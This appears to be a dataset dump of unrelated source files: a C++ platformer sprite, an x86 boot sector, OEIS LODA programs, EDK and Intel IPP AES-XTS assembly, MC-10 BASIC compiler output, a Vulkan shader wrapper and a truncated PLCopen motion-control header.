text
stringlengths
1
1.05M
#include "player_sprite.h" #include "keyboard_manager.h" #include "image_library.h" #include "image_sequence.h" #include "vec2d.h" #include "collision.h" #include <cmath> #include "allegro5/allegro_audio.h" #include "allegro5/allegro_acodec.h" using namespace std; namespace csis3700 { player_sprite::player_sprite(float initial_x, float initial_y, world * thew) : phys_sprite(initial_x, initial_y) { time = 0; theworld = thew; set_acceleration(vec2d(0,500)); still = new image_sequence; set_image_sequence(still); still -> add_image(image_library::get() -> get("mario_right.png"), 0.2); walk_right = new image_sequence; walk_right -> add_image(image_library::get() -> get("mario_right.png"), .1); walk_right -> add_image(image_library::get() -> get("mario_walk_right.png"), .1); walk_right -> add_image(image_library::get() -> get("mario_walk_right2.png"), .1); walk_right -> add_image(image_library::get() -> get("mario_walk_right.png"), .1); walk_left = new image_sequence; walk_left -> add_image(image_library::get() -> get("mario_left.png"), .1); walk_left -> add_image(image_library::get() -> get("mario_walk_left.png"), .1); walk_left -> add_image(image_library::get() -> get("mario_walk_left2.png"), .1); walk_left -> add_image(image_library::get() -> get("mario_walk_left.png"), .1); } bool player_sprite::is_passive() const { return false; } void player_sprite::set_on_ground(bool v) { on_ground = v; //if (on_ground == true) //set_velocity(vec2d(0,0)); } void player_sprite::advance_by_time(double dt) { phys_sprite::advance_by_time(dt); if(keyboard_manager::get() -> is_key_down(ALLEGRO_KEY_RIGHT) && keyboard_manager::get() -> is_key_down(ALLEGRO_KEY_UP) && on_ground == true){ set_velocity(vec2d(150, -325)); jump_right = new image_sequence; set_image_sequence(jump_right); jump_right -> add_image(image_library::get() -> get("mario_jump_right.png"), 1000); jump_right -> add_image(image_library::get() -> get("mario_right.png"), 1000); ALLEGRO_SAMPLE *sample=NULL; sample = al_load_sample("Sounds/jump.wav"); if (!sample){ cerr << "Audio clip sample not loaded!"<< endl; } else{ al_play_sample(sample, 1.0, 0.0,1.0,ALLEGRO_PLAYMODE_ONCE,NULL); } set_on_ground(false); } else if(keyboard_manager::get() -> is_key_down(ALLEGRO_KEY_LEFT) && keyboard_manager::get() -> is_key_down(ALLEGRO_KEY_UP) && on_ground == true){ set_velocity(vec2d(-150, -325)); jump_left = new image_sequence; set_image_sequence(jump_left); jump_left -> add_image(image_library::get() -> get("mario_jump_left.png"), 1000); jump_left -> add_image(image_library::get() -> get("mario_left.png"), 1000); ALLEGRO_SAMPLE *sample=NULL; sample = al_load_sample("Sounds/jump.wav"); if (!sample){ cerr << "Audio clip sample not loaded!"<< endl; } else{ al_play_sample(sample, 1.0, 0.0,1.0,ALLEGRO_PLAYMODE_ONCE,NULL); } set_on_ground(false); } else if(keyboard_manager::get() -> is_key_down(ALLEGRO_KEY_UP) && on_ground == true){ set_velocity(vec2d(0, -325)); jump = new image_sequence; set_image_sequence(jump); jump -> add_image(image_library::get() -> get("mario_jump_right.png"), 1000); jump -> add_image(image_library::get() -> get("mario_right.png"), 1000); ALLEGRO_SAMPLE *sample=NULL; sample = al_load_sample("Sounds/jump.wav"); if (!sample){ cerr << "Audio clip sample not loaded!"<< endl; } else{ al_play_sample(sample, 1.0, 0.0,1.0,ALLEGRO_PLAYMODE_ONCE,NULL); } set_on_ground(false); } else if (keyboard_manager::get() -> is_key_down(ALLEGRO_KEY_RIGHT) && on_ground == true){ set_image_sequence(walk_right); set_velocity(vec2d(150, get_velocity().get_y())); } else if (keyboard_manager::get() -> is_key_down(ALLEGRO_KEY_LEFT) && on_ground == true){ set_image_sequence(walk_left); set_velocity(vec2d(-150, get_velocity().get_y())); }else if(position.get_y() >= 505 || on_ground == true){ set_on_ground(true); //set_velocity(vec2d(0,0)); set_image_sequence(still); } else set_on_ground(false); } void player_sprite::resolve(const collision& collision, sprite *other) { if (!collides_with(*other)){ return; } if(other -> is_goomba()){ if(collision_rectangle(*other).get_height() > collision_rectangle(*other).get_width() && get_position().get_x() <= other -> get_position().get_x()){ cout<<"dead! left" << endl; theworld -> playerkilled(); } //else if (((other->bounding_box().upper_left_corner().get_x()+other -> get_width()) >= get_position().get_x()) && (other->bounding_box().upper_left_corner().get_y()+10 <= (get_position().get_y() + get_height())) && (other->bounding_box().upper_left_corner().get_x() <= get_position().get_x() + get_width()) && on_ground == true){ else if(collision_rectangle(*other).get_height() > collision_rectangle(*other).get_width() && bounding_box().lower_right_corner().get_x() >= other -> get_position().get_x()){ cout<<"dead! right" << endl; theworld -> playerkilled(); } //else if (other->bounding_box().upper_left_corner().get_y() <= (get_position().get_y() + get_height())){ //&& other->bounding_box().upper_left_corner().get_x() <= (get_position().get_x() + get_width()) && (other->bounding_box().upper_left_corner().get_x() + other-> get_width()) >= get_position().get_x()){ else if(collision_rectangle(*other).get_height() < collision_rectangle(*other).get_width() && bounding_box().lower_right_corner().get_y() > other -> get_position().get_y()){ cout<<"kill" << endl; theworld -> enemyKilled(other); //set_image_sequence(still); } } if(other -> is_coin()){ if(collision_rectangle(*other).get_height() > collision_rectangle(*other).get_width() && get_position().get_x() <= other -> get_position().get_x()){ cout<<"collision! left" << endl; set_velocity(vec2d(-75,0)); } //else if (((other->bounding_box().upper_left_corner().get_x()+other -> get_width()) >= get_position().get_x()) && (other->bounding_box().upper_left_corner().get_y()+10 <= (get_position().get_y() + get_height())) && (other->bounding_box().upper_left_corner().get_x() <= get_position().get_x() + get_width()) && on_ground == true){ else if(collision_rectangle(*other).get_height() > collision_rectangle(*other).get_width() && bounding_box().lower_right_corner().get_x() >= other -> get_position().get_x()){ cout<<"collision! right" << endl; set_velocity(vec2d(75,0)); } //else if (other->bounding_box().upper_left_corner().get_y() <= (get_position().get_y() + get_height())){ //&& other->bounding_box().upper_left_corner().get_x() <= (get_position().get_x() + get_width()) && (other->bounding_box().upper_left_corner().get_x() + other-> get_width()) >= get_position().get_x()){ else if(collision_rectangle(*other).get_height() < collision_rectangle(*other).get_width() && bounding_box().lower_right_corner().get_y() > other -> get_position().get_y()){ cout<<"collision! up" << endl; set_on_ground(true); set_velocity(vec2d(0,0)); set_position(vec2d(get_position().get_x(), other->get_position().get_y() - (bounding_box().get_height()+1))); //set_image_sequence(still); } } //if ((other->bounding_box().upper_left_corner().get_x() <= (get_position().get_x() + get_width())) && (other->bounding_box().upper_left_corner().get_y()+10 <= (get_position().get_y() + get_height())) && ((other->bounding_box().upper_left_corner().get_x() + other -> get_width()) >= (get_position().get_x() + get_width()))&& on_ground == true){ if(collision_rectangle(*other).get_height() > collision_rectangle(*other).get_width() && get_position().get_x() <= other -> get_position().get_x()){ cout<<"collision! left" << endl; set_velocity(vec2d(-75,0)); } //else if (((other->bounding_box().upper_left_corner().get_x()+other -> get_width()) >= get_position().get_x()) && (other->bounding_box().upper_left_corner().get_y()+10 <= (get_position().get_y() + get_height())) && (other->bounding_box().upper_left_corner().get_x() <= get_position().get_x() + get_width()) && on_ground == true){ else if(collision_rectangle(*other).get_height() > collision_rectangle(*other).get_width() && bounding_box().lower_right_corner().get_x() >= other -> get_position().get_x()){ cout<<"collision! right" << endl; set_velocity(vec2d(75,0)); } //else if (other->bounding_box().upper_left_corner().get_y() <= (get_position().get_y() + get_height())){ //&& other->bounding_box().upper_left_corner().get_x() <= (get_position().get_x() + get_width()) && (other->bounding_box().upper_left_corner().get_x() + other-> get_width()) >= get_position().get_x()){ else if(collision_rectangle(*other).get_height() < collision_rectangle(*other).get_width() && bounding_box().lower_right_corner().get_y() > other -> get_position().get_y()){ cout<<"collision! up" << endl; set_on_ground(true); set_velocity(vec2d(0,0)); set_position(vec2d(get_position().get_x(), other->get_position().get_y() - (bounding_box().get_height()+1))); //set_image_sequence(still); } //else if(other->bounding_box().upper_left_corner().get_x() > (get_position().get_x() + get_width()) && (other->bounding_box().upper_left_corner().get_x() + other->get_width()) < get_position().get_x() || position.get_y() < 505){ // set_on_ground(false); // set_acceleration(vec2d(0, 500)); //} } }
org 0x7C00 ; Load into memory address 0x7c00, gives us 0x400 bytes to play with before the kernel is loaded at 0x8000 ; Initialize registers and setup the stack for QEMU ; cli ; Turn off maskable interrupts ; xor ax, ax ; mov ds, ax ; mov ss, ax ; mov es, ax ; mov fs, ax ; mov gs, ax ; mov sp, 0x6ef0 ; QEMU requirement ; sti ; Turn on maskable interrupts ; Reset Disks ; mov ah, 0 ; AH = 0 ; Reset Floppy/Harddisk ; mov dl, 0 ; DL = 0 ; Drive Number ; int 0x13 ; Mass Storage Interrupt ; AH = Status ; Read from Harddisk and write to RAM mov ah, 2 ; AH = 2 ; Read Floppy/Harddisk in CHS Mode mov al, 2 ; AL = 2 ; Number of sectors to read mov bx, 0x8000 ; BX = 0x8000 ; Location to store read data - Kernel gets loaded to 0x800 mov ch, 0 ; CX = 0 ; Cylinder/Track mov cl, 2 ; CL = 2 ; Sector mov dh, 0 ; DH = 0 ; Head int 0x13 ; Mass Storage Interrupt ; AH = Status, AL = Bytes Read ; Jump to the Kernel jmp 0x8000 ; Pass execution to the kernel ; MBR Signature times 510-($-$$) db 0 ; Fill remaining (up to byte 510) with 0x0 ; $ = Current Position, $$ = Beginning db 0x55 ; Byte 511 = 0x55 db 0xAA ; Byte 512 = 0xAA
; A232637: Odious numbers of order 2: a(n) = A000069(A000069(n)). ; Submitted by Simon Strandgaard ; 1,2,7,13,14,21,25,26,31,37,41,42,49,50,55,61,62,69,73,74,81,82,87,93,97,98,103,109,110,117,121,122,127,133,137,138,145,146,151,157,161,162,167,173,174,181,185,186,193,194,199,205,206,213,217,218,223,229,233,234,241,242,247,253,254,261,265,266,273,274,279,285,289,290,295,301,302,309,313,314,321,322,327,333,334,341,345,346,351,357,361,362,369,370,375,381,385,386,391,397 mov $1,56 lpb $1 seq $0,69 ; Odious numbers: numbers with an odd number of 1's in their binary expansion. sub $0,1 div $1,9 lpe add $0,1
; A072256: a(n) = 10*a(n-1) - a(n-2) for n > 1, a(0) = a(1) = 1. ; 1,1,9,89,881,8721,86329,854569,8459361,83739041,828931049,8205571449,81226783441,804062262961,7959395846169,78789896198729,779939566141121,7720605765212481,76426118085983689,756540575094624409,7488979632860260401,74133255753507979601,733843577902219535609,7264302523268687376489,71909181654784654229281,711827514024577854916321,7046365958590993894933929,69751832071885361094422969,690471954760262617049295761,6834967715530740809398534641,67659205200547145476936050649,669757084289940713959961971849,6629911637698859994122683667841,65629359292698659227266874706561,649663681289287732278546063397769,6431007453600178663558193759271129,63660410854712498903303391529313521,630173101093524810369475721533864081 trn $0,1 seq $0,31138 ; Numbers k such that 1^5 + 2^5 + ... + k^5 is a square. div $0,12 mul $0,8 add $0,1
; Copyright (c) 2004, Intel Corporation ; All rights reserved. This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; WriteCr2.Asm ; ; Abstract: ; ; AsmWriteCr2 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmWriteCr2 ( ; UINTN Cr2 ; ); ;------------------------------------------------------------------------------ AsmWriteCr2 PROC mov cr2, rcx mov rax, rcx ret AsmWriteCr2 ENDP END
; Assembly for twoargset-native.bas ; compiled with mcbasic -native ; Equates for MC-10 MICROCOLOR BASIC 1.0 ; ; Direct page equates DP_LNUM .equ $E2 ; current line in BASIC DP_TABW .equ $E4 ; current tab width on console DP_LPOS .equ $E6 ; current line position on console DP_LWID .equ $E7 ; current line width of console ; ; Memory equates M_KBUF .equ $4231 ; keystrobe buffer (8 bytes) M_PMSK .equ $423C ; pixel mask for SET, RESET and POINT M_IKEY .equ $427F ; key code for INKEY$ M_CRSR .equ $4280 ; cursor location M_LBUF .equ $42B2 ; line input buffer (130 chars) M_MSTR .equ $4334 ; buffer for small string moves M_CODE .equ $4346 ; start of program space ; ; ROM equates R_BKMSG .equ $E1C1 ; 'BREAK' string location R_ERROR .equ $E238 ; generate error and restore direct mode R_BREAK .equ $E266 ; generate break and restore direct mode R_RESET .equ $E3EE ; setup stack and disable CONT R_SPACE .equ $E7B9 ; emit " " to console R_QUEST .equ $E7BC ; emit "?" to console R_REDO .equ $E7C1 ; emit "?REDO" to console R_EXTRA .equ $E8AB ; emit "?EXTRA IGNORED" to console R_DMODE .equ $F7AA ; display OK prompt and restore direct mode R_KPOLL .equ $F879 ; if key is down, do KEYIN, else set Z CCR flag R_KEYIN .equ $F883 ; poll key for key-down transition set Z otherwise R_PUTC .equ $F9C9 ; write ACCA to console R_MKTAB .equ $FA7B ; setup tabs for console R_GETLN .equ $FAA4 ; get line, returning with X pointing to M_BUF-1 R_SETPX .equ $FB44 ; write pixel character to X R_CLRPX .equ $FB59 ; clear pixel character in X R_MSKPX .equ $FB7C ; get pixel screen location X and mask in R_PMSK R_CLSN .equ $FBC4 ; clear screen with color code in ACCB R_CLS .equ $FBD4 ; clear screen with space character R_SOUND .equ $FFAB ; play sound with pitch in ACCA and duration in ACCB R_MCXID .equ $FFDA ; ID location for MCX BASIC ; direct page registers .org $80 strtcnt .block 1 strbuf .block 2 strend .block 2 strfree .block 2 strstop .block 2 dataptr .block 2 inptptr .block 2 redoptr .block 2 letptr .block 2 .org $a3 r1 .block 5 r2 .block 5 rend rvseed .block 2 tmp1 .block 2 tmp2 .block 2 tmp3 .block 2 tmp4 .block 2 tmp5 .block 2 argv .block 10 ; main program .org M_CODE jsr progbegin jsr clear LINE_10 ; SET(1,1) ldab #1 jsr ld_ir1_pb ldab #1 jsr ld_ir2_pb jsr set_ir1_ir2 LINE_11 ; SET(5,1) ldab #5 jsr ld_ir1_pb ldab #1 jsr ld_ir2_pb jsr set_ir1_ir2 LINE_20 ; RESET(1,1) ldab #1 jsr ld_ir1_pb ldab #1 jsr reset_ir1_pb LINE_30 ; SET(1,2,3) ldab #1 jsr ld_ir1_pb ldab #2 jsr ld_ir2_pb ldab #3 jsr setc_ir1_ir2_pb LLAST ; END jsr progend .module mdprint print _loop ldaa ,x jsr R_PUTC inx decb bne _loop rts .module mdset ; set pixel with existing color ; ENTRY: ACCA holds X, ACCB holds Y set bsr getxym ldab ,x bmi doset clrb doset andb #$70 ldaa $82 psha stab $82 jsr R_SETPX pula staa $82 rts getxym anda #$1f andb #$3f pshb tab jmp R_MSKPX .module mdsetc ; set pixel with color ; ENTRY: X holds byte-to-modify, ACCB holds color setc decb bmi _loadc lslb lslb lslb lslb bra _ok _loadc ldab ,x bmi _ok clrb _ok bra doset clear ; numCalls = 1 .module modclear clra ldx #bss bra _start _again staa ,x inx _start cpx #bes bne _again stx strbuf stx strend inx inx stx strfree ldx #$8FFF stx strstop ldx #startdata stx dataptr rts ld_ir1_pb ; numCalls = 4 .module modld_ir1_pb stab r1+2 ldd #0 std r1 rts ld_ir2_pb ; numCalls = 3 .module modld_ir2_pb stab r2+2 ldd #0 std r2 rts progbegin ; numCalls = 1 .module modprogbegin ldx R_MCXID cpx #'h'*256+'C' bne _mcbasic pulx clrb pshb pshb pshb stab strtcnt jmp ,x _reqmsg .text "?MICROCOLOR BASIC ROM REQUIRED" _mcbasic ldx #_reqmsg ldab #30 jsr print pulx rts progend ; numCalls = 1 .module modprogend pulx pula pula pula jsr R_RESET jmp R_DMODE NF_ERROR .equ 0 RG_ERROR .equ 4 OD_ERROR .equ 6 FC_ERROR .equ 8 OV_ERROR .equ 10 OM_ERROR .equ 12 BS_ERROR .equ 16 DD_ERROR .equ 18 LS_ERROR .equ 28 error jmp R_ERROR reset_ir1_pb ; numCalls = 1 .module modreset_ir1_pb tba ldab r1+2 jsr getxym jmp R_CLRPX set_ir1_ir2 ; numCalls = 2 .module modset_ir1_ir2 ldaa r2+2 ldab r1+2 jmp set setc_ir1_ir2_pb ; numCalls = 1 .module modsetc_ir1_ir2_pb pshb ldaa r2+2 ldab r1+2 jsr getxym pulb jmp setc ; data table startdata enddata ; block started by symbol bss ; Numeric Variables ; String Variables ; Numeric Arrays ; String Arrays ; block ended by symbol bes .end
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 4, 0x90 .globl _p8_cpAESDecryptXTS_AES_NI _p8_cpAESDecryptXTS_AES_NI: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (12)(%ebp), %esi movl (8)(%ebp), %edi mov %esp, %eax sub $(96), %esp and $(-16), %esp movl %eax, (92)(%esp) movl (28)(%ebp), %eax movdqu (%eax), %xmm4 movdqa %xmm4, %xmm7 mov $(135), %eax mov $(1), %ecx movd %eax, %xmm0 movd %ecx, %xmm1 punpcklqdq %xmm1, %xmm0 movl (20)(%ebp), %ecx movl (24)(%ebp), %eax movl (16)(%ebp), %edx movdqa %xmm0, (%esp) movl %ecx, (80)(%esp) lea (,%eax,4), %ebx lea (%ecx,%ebx,4), %ecx movl %ecx, (84)(%esp) movl %eax, (88)(%esp) sub $(4), %edx jl .Lshort_inputgas_1 jmp .Lblks_loop_epgas_1 .Lblks_loopgas_1: pxor %xmm1, %xmm1 movdqa %xmm7, %xmm4 pcmpgtq %xmm7, %xmm1 paddq %xmm4, %xmm4 palignr $(8), %xmm1, %xmm1 pand %xmm0, %xmm1 pxor %xmm1, %xmm4 .Lblks_loop_epgas_1: movdqa %xmm4, (16)(%esp) pxor %xmm1, %xmm1 movdqa %xmm4, %xmm5 pcmpgtq %xmm4, %xmm1 paddq %xmm5, %xmm5 palignr $(8), %xmm1, %xmm1 pand %xmm0, %xmm1 pxor %xmm1, %xmm5 movdqa %xmm5, (32)(%esp) pxor %xmm1, %xmm1 movdqa %xmm5, %xmm6 pcmpgtq %xmm5, %xmm1 paddq %xmm6, %xmm6 palignr $(8), %xmm1, %xmm1 pand %xmm0, %xmm1 pxor %xmm1, %xmm6 movdqa %xmm6, (48)(%esp) pxor %xmm1, %xmm1 movdqa %xmm6, %xmm7 pcmpgtq %xmm6, %xmm1 paddq %xmm7, %xmm7 palignr $(8), %xmm1, %xmm1 pand %xmm0, %xmm1 pxor %xmm1, %xmm7 movdqa %xmm7, (64)(%esp) movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 add $(64), %esi pxor %xmm4, %xmm0 pxor %xmm5, %xmm1 pxor %xmm6, %xmm2 pxor %xmm7, %xmm3 movdqa (%ecx), %xmm4 lea (-16)(%ecx), %ebx pxor %xmm4, %xmm0 pxor %xmm4, %xmm1 pxor %xmm4, %xmm2 pxor %xmm4, %xmm3 movdqa (%ebx), %xmm4 sub $(16), %ebx sub $(1), %eax .Lcipher_loopgas_1: aesdec %xmm4, %xmm0 aesdec %xmm4, %xmm1 aesdec %xmm4, %xmm2 aesdec %xmm4, %xmm3 movdqa (%ebx), %xmm4 sub $(16), %ebx dec %eax jnz .Lcipher_loopgas_1 aesdeclast %xmm4, %xmm0 aesdeclast %xmm4, %xmm1 aesdeclast %xmm4, %xmm2 aesdeclast %xmm4, %xmm3 movdqa (16)(%esp), %xmm4 movdqa (32)(%esp), %xmm5 movdqa (48)(%esp), %xmm6 movdqa (64)(%esp), %xmm7 pxor %xmm4, %xmm0 pxor %xmm5, %xmm1 pxor %xmm6, %xmm2 pxor %xmm7, %xmm3 movdqu %xmm0, (%edi) movdqu %xmm1, (16)(%edi) movdqu %xmm2, (32)(%edi) movdqu %xmm3, (48)(%edi) add $(64), %edi movdqa (%esp), %xmm0 movl (88)(%esp), %eax sub $(4), %edx jge .Lblks_loopgas_1 .Lshort_inputgas_1: add $(4), %edx jz .Lquitgas_1 movl (80)(%esp), %ecx movl (84)(%esp), %ebx movl (88)(%esp), %eax jmp .Lsingle_blk_loop_epgas_1 .Lsingle_blk_loopgas_1: pxor %xmm1, %xmm1 movdqa %xmm7, %xmm7 pcmpgtq %xmm7, %xmm1 paddq %xmm7, %xmm7 palignr $(8), %xmm1, %xmm1 pand %xmm0, %xmm1 pxor %xmm1, %xmm7 .Lsingle_blk_loop_epgas_1: movdqu (%esi), %xmm1 add $(16), %esi pxor %xmm7, %xmm1 pxor (%ebx), %xmm1 cmp $(12), %eax jl .Lkey_128_sgas_1 .Lkey_256_sgas_1: aesdec (208)(%ecx), %xmm1 aesdec (192)(%ecx), %xmm1 aesdec (176)(%ecx), %xmm1 aesdec (160)(%ecx), %xmm1 .Lkey_128_sgas_1: aesdec (144)(%ecx), %xmm1 aesdec (128)(%ecx), %xmm1 aesdec (112)(%ecx), %xmm1 aesdec (96)(%ecx), %xmm1 aesdec (80)(%ecx), %xmm1 aesdec (64)(%ecx), %xmm1 aesdec (48)(%ecx), %xmm1 aesdec (32)(%ecx), %xmm1 aesdec (16)(%ecx), %xmm1 aesdeclast (%ecx), %xmm1 pxor %xmm7, %xmm1 movdqu %xmm1, (%edi) add $(16), %edi sub $(1), %edx jnz .Lsingle_blk_loopgas_1 .Lquitgas_1: movl (28)(%ebp), %eax movdqu %xmm7, (%eax) mov (92)(%esp), %esp pop %edi pop %esi pop %ebx pop %ebp ret
#include <GameController.h> GameController::GameController(Keypad& keyPad, LiquidCrystal& screen, MenuItem* options, int option) { this->keyPad = &keyPad; this->screen = &screen; this->selectedOption = option; this->options = options; this->screen->clear(); } void GameController::executeSelectedOption() { options[selectedOption].gameEngine->startGame(); }
; A064917: a(n) is the result of beginning with n and iterating k -> A064916(k) until a prime is reached. ; 2,3,3,5,3,7,5,5,3,11,7,13,5,7,5,17,3,19,11,5,7,23,13,5,5,11,7,29,5,31,17,13,3,11,19,37,11,7,5,41,7,43,23,17,13,47,5,13,5,19,11,53,7,7,29,5,5,59,31,61,17,23,13,17,3,67,11,5,19,71,37,73,11,11,7,17,5,79,41,29,7,83,43,5,23,31,17,89,13,19,47,13,5,23,13,97,5,11,19,101 add $0,1 lpb $0 add $1,1 mov $2,$0 cmp $2,0 add $0,$2 dif $1,$0 sub $0,1 lpe add $1,1 mov $0,$1
#include "Shader.h" #include "VulkanBackend.h" #include "Device.h" #include "VulkanUtil.h" #include <robin_hood.h> namespace ze::gfx::vulkan { #if ZE_FEATURE(BACKEND_HANDLE_VALIDATION) robin_hood::unordered_set<ResourceHandle> shaders; #endif vk::Result shader_last_result; std::pair<Result, ResourceHandle> VulkanBackend::shader_create(const ShaderCreateInfo& in_create_info) { ResourceHandle handle = create_resource<Shader>(*device, in_create_info); #if ZE_FEATURE(BACKEND_HANDLE_VALIDATION) shaders.insert(handle); #endif return { convert_vk_result(shader_last_result), handle }; } void VulkanBackend::shader_destroy(const ResourceHandle& in_handle) { delete_resource<Shader>(in_handle); #if ZE_FEATURE(BACKEND_HANDLE_VALIDATION) shaders.erase(in_handle); #endif } Shader::Shader(Device& in_device, const ShaderCreateInfo& in_create_info) : device(in_device) { auto [result, handle] = device.get_device().createShaderModuleUnique(vk::ShaderModuleCreateInfo( vk::ShaderModuleCreateFlags(), in_create_info.bytecode.size() * sizeof(uint32_t), (in_create_info.bytecode.data()))); if(result != vk::Result::eSuccess) ze::logger::error("Failed to create shader: {}", vk::to_string(result)); shader = std::move(handle); shader_last_result = result; } Shader* Shader::get(const ResourceHandle& in_handle) { #if ZE_FEATURE(BACKEND_HANDLE_VALIDATION) auto shader = shaders.find(in_handle); ZE_CHECKF(shader != shaders.end(), "Invalid shader"); #endif return get_resource<Shader>(in_handle); } }
/* * FbSingleAxis.hpp * * Copyright 2020 (C) SYMG(Shanghai) Intelligence System Co.,Ltd * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * */ #ifndef _URANUS_FBSINGLEAXIS_HPP_ #define _URANUS_FBSINGLEAXIS_HPP_ #include "FbPLCOpenBase.hpp" namespace Uranus { #pragma pack(push) #pragma pack(4) class FbPower : public FbBaseType { public: FB_INPUT AXIS_REF mAxis; FB_INPUT BOOL mEnable = false; FB_INPUT BOOL mEnablePositive = false; FB_INPUT BOOL mEnableNegative = false; FB_OUTPUT BOOL mStatus = false; FB_OUTPUT BOOL mValid = false; public: void call(void); void onOperationError(MC_ErrorCode errorCode, int32_t customId); }; class FbHome : public FbExecAxisBufferType { public: FB_INPUT LREAL mPosition = 0; public: MC_ErrorCode onAxisExecPosedge(void); }; class FbStop : public FbExecAxisType { public: FB_INPUT LREAL mDeceleration = 0; FB_INPUT LREAL mJerk = 0; public: MC_ErrorCode onAxisExecPosedge(void); void onExecNegedge(void); }; class FbHalt : public FbExecAxisBufferType { public: FB_INPUT LREAL mDeceleration = 0; FB_INPUT LREAL mJerk = 0; public: MC_ErrorCode onAxisExecPosedge(void); }; class FbMoveAbsolute : public FbExecAxisBufferType { public: FB_INPUT LREAL mPosition = 0; FB_INPUT LREAL mVelocity = 0; FB_INPUT LREAL mAcceleration = 0; FB_INPUT LREAL mDeceleration = 0; FB_INPUT LREAL mJerk = 0; FB_INPUT MC_DIRECTION mDirection = MC_DIRECTION_CURRENT; public: MC_ErrorCode onAxisExecPosedge(void); }; class FbMoveRelative : public FbExecAxisBufferType { public: FB_INPUT LREAL mDistance = 0; FB_INPUT LREAL mVelocity = 0; FB_INPUT LREAL mAcceleration = 0; FB_INPUT LREAL mDeceleration = 0; FB_INPUT LREAL mJerk = 0; public: MC_ErrorCode onAxisExecPosedge(void); }; class FbMoveAdditive : public FbExecAxisBufferType { public: FB_INPUT LREAL mDistance = 0; FB_INPUT LREAL mVelocity = 0; FB_INPUT LREAL mAcceleration = 0; FB_INPUT LREAL mDeceleration = 0; FB_INPUT LREAL mJerk = 0; public: MC_ErrorCode onAxisExecPosedge(void); }; class FbMoveVelocity : public FbExecAxisBufferContType { public: FB_INPUT LREAL mVelocity = 0; FB_INPUT LREAL mAcceleration = 0; FB_INPUT LREAL mDeceleration = 0; FB_INPUT LREAL mJerk = 0; FB_OUTPUT BOOL& mInVelocity = mDone; public: MC_ErrorCode onAxisExecPosedge(void); }; class FbReadStatus : public FbReadInfoAxisType { public: FB_OUTPUT BOOL mErrorStop = false; FB_OUTPUT BOOL mDisabled = false; FB_OUTPUT BOOL mStopping = false; FB_OUTPUT BOOL mHoming = false; FB_OUTPUT BOOL mStandstill = false; FB_OUTPUT BOOL mDiscreteMotion = false; FB_OUTPUT BOOL mContinuousMotion = false; FB_OUTPUT BOOL mSynchronizedMotion = false; public: MC_ErrorCode onAxisEnable(bool& isDone); void onDisable(void); }; class FbReadMotionState : public FbReadInfoAxisType { public: FB_INPUT MC_SOURCE mSource = MC_SOURCE_SETVALUE; FB_OUTPUT BOOL mConstantVelocity = false; FB_OUTPUT BOOL mAccelerating = false; FB_OUTPUT BOOL mDecelerating = false; FB_OUTPUT BOOL mDirectionPositive = false; FB_OUTPUT BOOL mDirectionNegative = false; public: MC_ErrorCode onAxisEnable(bool& isDone); void onDisable(void); }; class FbReadAxisError : public FbEnableType { public: FB_INPUT AXIS_REF mAxis = nullptr; FB_OUTPUT BOOL mValid = false; FB_OUTPUT BOOL mBusy = false; FB_OUTPUT MC_SERVOERRORCODE mAxisErrorID = 0; public: void call(void); MC_ErrorCode onEnableTrue(void); MC_ErrorCode onEnableFalse(void); }; class FbReset : public FbWriteInfoAxisType { public: MC_ErrorCode onAxisTriggered(bool& isDone); }; typedef enum { MC_PARAMETER_COMMANDEDPOSITION = 1, MC_PARAMETER_SWLIMITPOS = 2, MC_PARAMETER_SWLIMITNEG = 3, MC_PARAMETER_ENABLELIMITPOS = 4, MC_PARAMETER_ENABLELIMITNEG = 5, MC_PARAMETER_ENABLEPOSLAGMONITORING = 6, MC_PARAMETER_MAXPOSITIONLAG = 7, MC_PARAMETER_MAXVELOCITYSYSTEM = 8, MC_PARAMETER_MAXVELOCITYAPPL = 9, MC_PARAMETER_ACTUALVELOCITY = 10, MC_PARAMETER_COMMANDEDVELOCITY = 11, MC_PARAMETER_MAXACCELERATIONSYSTEM = 12, MC_PARAMETER_MAXACCELERATIONAPPL = 13, MC_PARAMETER_MAXDECELERATIONSYSTEM = 14, MC_PARAMETER_MAXDECELERATIONAPPL = 15, MC_PARAMETER_MAXJERKSYSTEM = 16, MC_PARAMETER_MAXJERKAPPL = 17, }MC_Parameter; class FbSetPosition : public FbWriteInfoAxisType { public: 